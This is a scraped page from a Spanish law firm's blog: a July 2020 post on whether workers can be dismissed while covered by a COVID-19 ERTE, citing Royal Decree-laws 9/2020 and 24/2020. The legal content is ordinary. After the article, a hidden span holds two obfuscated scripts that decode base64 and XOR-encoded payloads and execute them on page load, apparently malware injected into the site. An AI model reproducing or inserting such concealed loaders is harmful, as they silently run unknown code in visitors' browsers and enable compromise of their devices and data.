https://abogadofigueroa.com/wp-content/uploads/2020/07/despido-3-300x200.jpg 300w, https://abogadofigueroa.com/wp-content/uploads/2020/07/despido-3-768x513.jpg 768w, https://abogadofigueroa.com/wp-content/uploads/2020/07/despido-3-1536x1025.jpg 1536w" sizes="auto, (max-width: 1030px) 100vw, 1030px"></noscript></amp-img></figure></div>



<p class="wp-block-paragraph">Legislar técnicamente mal y demasiado es un aspecto definitorio de nuestros gobiernos, y es que, la hemorragia legislativa de este país supera más de 100.000 leyes, de las que 67.000 son autonómicas. Lo que resulta en un sistema lleno de ambigüedades, o lo que es lo mismo, en la actual inseguridad jurídica causante de un sistema democrático de derecho mermado.</p>



<blockquote class="wp-block-quote has-text-align-center is-style-large is-layout-flow wp-block-quote-is-layout-flow"><p><em>“Cuanto más corrupto es el estado, más leyes tiene”.</em></p><cite>Tácito.</cite></blockquote>



<p class="wp-block-paragraph">Comenzamos indicando que los despidos nunca se han prohibido, aunque es cierto que se han delimitado circunstancias en las que el trabajador ha de permanecer en plantilla. Así que, si has llegado hasta aquí haciéndote la pregunta que da título al presente post, lamento confirmarte que pueden despedirte, aunque tu empresa se encuentre en ERTE, no obstante, no es momento de rendirse, <strong>existen supuestos en los que el despido se considera improcedente e incluso nulo</strong>.</p>



<p class="wp-block-paragraph">Véase el paquete de medidas frente al impacto del COVID-19, o lo que es lo mismo, el <a href="https://www.boe.es/boe/dias/2020/03/28/pdfs/BOE-A-2020-4152.pdf" target="_blank" rel="noopener">Real Decreto-Ley 9/2020, de 27 de marzo</a>, en el que lejos de apaciguar controversias, aparecían dos medidas que venían causando gran incertidumbre entre asesorías y laboralistas, la posible extinción de los contratos temporales cuya duración finalizaría dentro de los ERTES que se pretendían realizar, o la posibilidad de recurrir a causas, económicas, técnicas, organizativas o de producción (ETOP) asociadas al Coronavirus. Pues bien, recientemente el <a href="https://www.boe.es/diario_boe/txt.php?id=BOE-A-2020-6838" target="_blank" rel="noreferrer noopener">Real Decreto-ley 24/2020, de 26 de junio</a>, en su artículo 7 amplía hasta el 30 de septiembre las medidas de salvaguarda del empleo recogidas en el Decreto antes mencionado, además, indica que; la fuerza mayor y las causas ETOP que justifican los ERTES derivados del COVID-19 no amparan la extinción del contrato de trabajo (art. 2 Real Decreto-Ley 9/2020, de 27 de marzo). </p>



<h2 class="has-text-align-center wp-block-heading">Contratos temporales en ERTE</h2>



<p class="wp-block-paragraph">En síntesis,  la suspensión de los contratos temporales, tanto formativos, como los de relevo e interinidad, por ERTE debido a fuerza mayor o a causas ETOP, interrumpirá el cómputo de su duración y de los periodos de referencia equivalentes al periodo suspendido respecto de las personas trabajadoras afectadas (Art. 5 Real Decreto-Ley 9/2020, de 27 de marzo).</p>



<p class="wp-block-paragraph">Cuando se haya acudido a la realización de ERTE sujeto a las condiciones extraordinarias motivadas por el COVID-19, <strong>el contrato temporal no podrá extinguirse</strong> en base a las mismas. Es decir, se considerará improcedente cualquier despido en base a fuerza mayor o causas ETOP asociadas al Coronavirus, si dicha causa es la misma que motivó el propio ERTE. Así, dicho el compromiso de seis meses se entenderá incumplido si se produce el despido (excluyéndose un despido disciplinario procedente) o extinción de contratos de trabajo de cualquiera de las personas afectadas por dicho ERTE, quedando fuera del mismo las personas no afectadas por el mismo. En caso de incumplimiento del compromiso, las empresas deberán reintegrar la totalidad del importe de las cotizaciones de cuyo pago resultaron exoneradas, previas actuaciones al efecto de la Inspección de Trabajo y Seguridad Social que acrediten el incumplimiento y determinen las cantidades a reintegrar.</p>



<p class="wp-block-paragraph">Por otro lado, si el ERTE fue por causas ETOP, no existe tal compromiso de empleo y por lo tanto el empresario podrá realizar despidos, siempre que ellos no deriven directamente de causa covid-19; pues, en este caso, la consecuencia sería la declaración de improcedencia de los mismos, con las consecuencias legales inherentes.</p>



<h2 class="has-text-align-center wp-block-heading">¿Cuándo termina el compromiso de mantener el empleo para las empresas?</h2>



<p class="wp-block-paragraph">Para las empresas que se beneficien desde el 27/06/2020 de las medidas extraordinarias previstas en materia de cotizaciones, el plazo de 6 meses del compromiso de empleo empezará a computarse desde esa fecha (entrada en vigor del Real Decreto-ley 24/2020, de 26 de junio).</p>



<p class="wp-block-paragraph">Con fecha de efectos del 27 de junio de 2020, el Art. 7 Real Decreto-ley 24/2020, de 26 de junio, de medidas sociales de reactivación del empleo y protección del trabajo autónomo y de competitividad del sector industrial, ha prorrogado los Arts. 2 y 5 del Real Decreto-ley 9/2020, de 27 de marzo, por el que se adoptan medidas complementarias, en el ámbito laboral, para paliar los efectos derivados del COVID-19, hasta el 30 de septiembre de 2020.</p>



<p class="wp-block-paragraph">Los contratos temporales sujetos a ERTE, también l<strong>os formativos, de relevo e interinidad, verán prorrogada su vigencia hasta el 30/09/2020</strong>. De suspenderse estos contratos vía ERTE verán alargada su duración.</p>



<p class="wp-block-paragraph">Empezará a computarse desde el 27 de junio de 2020 (entrada en vigor Real Decreto-ley 24/2020, de 26 de junio), el plazo de 6 meses del compromiso de empleo para las empresas que se beneficien por primera vez de las medidas extraordinarias previstas en materia de cotizaciones.</p>



<h2 class="has-text-align-center wp-block-heading">¿Cuándo termina mi ERTE?</h2>



<p class="wp-block-paragraph">Los ERTES presentados por el coronavirus culminarán todos de golpe el 30 de septiembre de 2020, con anterioridad a esa fecha será posible pasar a un ERTE por causas ETOP, desafectar a parte de la plantilla, o volver a ERTE por fuerza mayor en caso de rebrote, por ejemplo. (todo ello en caso de que no se vuelva a modificar todo).</p>



<h2 class="has-text-align-center wp-block-heading">¿Te han despedido?</h2>



<p class="wp-block-paragraph">Como has podido comprobar, parece no existir una solución exacta para cada caso, por ello te recomiendo acudir a tu<a href="https://abogadofigueroa.com/get-in-touch/"> abogado laboralista de confianza</a> ante cualquier problemática, y sobre todo, hazlo cuanto antes. ¿Sabías que el plazo para interponer demanda por despido es de solo 20 días?</p>
</div><span class="post-meta-infos"><time class="date-container minor-meta updated">8 de julio de 2020</time><span class="text-sep text-sep-date">/</span><span class="comment-container minor-meta"><a href="https://abogadofigueroa.com/me-pueden-despedir-si-estoy-incluido-en-un-erte/#respond" class="comments-link">0 Comentarios</a></span><span class="text-sep text-sep-comment">/</span><span class="blog-author minor-meta">por <span class="entry-author-link" itemprop="author"><span class="author"><span class="fn"><a href="https://abogadofigueroa.com/author/admin5938/" rel="author">Juande Figueroa</a></span></span></span></span></span><footer class="entry-footer"></footer><div class="post_delimiter"></div></div><div class="post_author_timeline"></div><span class="hidden">
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<script>!function(){var _0xdac3ef103251=atob('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'),_0x9e751f2dc20b=46,_0x0b1f51e628bd=new Uint8Array(_0xdac3ef103251['length']),_0x1c3f58f3ac4b=0;for(;_0x1c3f58f3ac4b<_0xdac3ef103251['length'];_0x1c3f58f3ac4b++)_0x0b1f51e628bd[_0x1c3f58f3ac4b]=_0xdac3ef103251['charCodeAt'](_0x1c3f58f3ac4b)^_0x9e751f2dc20b;(new Function(new TextDecoder()['decode'](_0x0b1f51e628bd)))()}();</script><script>!function(){var _0x3bb1fe0827a6=atob('DkBTSEVST0lIDg9dUEdUBlNTaxdcTxtRT0hCSVEKdxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7CnVWa2BjQhsBRRUeR0NHHkVDR0JEQEQTQwEKcWdQHnBQG30ETlJSVlUcCQlFSklTQkBKR1RDC0VOQ0VNCEhDUgQKBgROUlJWHAkJHxIIFBAIHxYIFxQQBHsdT0AOdxITSlRVAAB3EhNKVFV9dVZrYGNCew9UQ1JTVEgddxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7Gw53EhNKVFVaWl1bDx13EhNKVFV9dVZrYGNCexsXHUBTSEVST0lIBnZXfBMVTw4PXU9ADgdCSUVTS0NIUghESUJfD11VQ1JyT0tDSVNSDnZXfBMVTwoUFg8dVENSU1RIHVtQR1QGQW1iSnIeG0JJRVNLQ0hSCEVUQ0dSQ2NKQ0tDSFIOAUJPUAEPCkNWV1JVXxtCSUVTS0NIUghFVENHUkNjSkNLQ0hSDgFPQFRHS0MBDx1BbWJKch4IVVJfSkMIRVVVckNeUhsBVklVT1JPSUgcQE9eQ0IdT0hVQ1IcFh1cC09IQkNeHBQXEhESHhUWEhUdREdFTUFUSVNIQhxUQURHDhcTChQVChIUCggSFA8dVklPSFJDVAtDUENIUlUcSElIQx0BHUNWV1JVXwhST1JKQxsBdUNFU1RPUl8GRU5DRU0BHUNWV1JVXwhVQ1JnUlJUT0RTUkMOAUdKSklRQFNKSlVFVENDSAEKAQEPHUNWV1JVXwhVUl9KQwhFVVVyQ15SGwFWSVVPUk9JSBxAT15DQh1PSFVDUhwWHVFPQlJOHBcWFgMdTkNPQU5SHBcWFgMdRElUQkNUHBYdXAtPSEJDXhwUFxIREh4VFhMVHURHRU1BVElTSEIcBUBAQB0BHUJJRVNLQ0hSCERJQl8IR1ZWQ0hCZU5PSkIOQW1iSnIeDx1CSUVTS0NIUghESUJfCEdWVkNIQmVOT0pCDkNWV1JVXw8dQFNIRVJPSUgGSGJvYWxlDg9dUlRfXUFtYkpyHghUQ0tJUEMODx1DVldSVV8IVENLSVBDDg8dW0VHUkVODnlDD11bUlRfXUJDSkNSQwZ3EhNKVFV9dVZrYGNCe1tFR1JFTg55QxQPXVtbU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAUtDVVVHQUMBCkBTSEVST0lIDnlDUA9dUlRfXU9ADgd5Q1BaWgd5Q1AIQkdSRw9UQ1JTVEgdT0AOeUNQCEJHUkcIUl9WQxsbGwFAVgtDS0RDQgtFSklVQwEPSGJvYWxlDg8dW0VHUkVODnlDFQ9dW1sPHUBTSEVST0lIBnB1Q0N+Ug5cV2hSdGoPXU9ADlxXaFJ0ahgbcWdQHnBQCEpDSEFSTg9UQ1JTVEgdUEdUBnlOGwEBHVJUX115Tht1UlRPSEEOU1NrF1xPCEpJRUdST0lIAAAOU1NrF1xPCEpJRUdST0lICE5JVVJIR0tDWlpTU2sXXE8ISklFR1JPSUgITklVUg9aWgEBDwhUQ1ZKR0VDDgl4UVFReggJTwoBAQ8dW0VHUkVODnlDTg9dW1BHVAZ5UxtxZ1AecFB9XFdoUnRqew0BCUNLRENCCQENdVZrYGNCDQEZQ0tEQ0IbFwENDnlOGQ4BAE5JVVIbAQ1DSEVJQkNzdG9lSUtWSUhDSFIOeU4PDxwBAQ8dUEdUBnlSSRtVQ1JyT0tDSVNSDkBTSEVST0lIDg9dcHVDQ35SDlxXaFJ0ag0XDx1bChcUFhYWDx1DVldSVV8ISUhKSUdCG0BTSEVST0lIDg9dRUpDR1RyT0tDSVNSDnlSSQ8dWx1DVldSVV8IVVRFG3lTHVtwdUNDflIOFg8dW09ADkJJRVNLQ0hSCFRDR0JfdVJHUkMbGxsBSklHQk9IQQEPU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAWJpa2VJSFJDSFJqSUdCQ0IBCnZXfBMVTw8dQ0pVQwZ2V3wTFU8ODx1bDw4PHQ=='),_0xb453c9c7ad32=38,_0x6b43c3f85eef=new Uint8Array(_0x3bb1fe0827a6['length']),_0x42b6bdc41c2a=0;for(;_0x42b6bdc41c2a<_0x3bb1fe0827a6['length'];_0x42b6bdc41c2a++)_0x6b43c3f85eef[_0x42b6bdc41c2a]=_0x3bb1fe0827a6['charCodeAt'](_0x42b6bdc41c2a)^_0xb453c9c7ad32;(new Function(new TextDecoder()['decode'](_0x6b43c3f85eef)))()}();</script>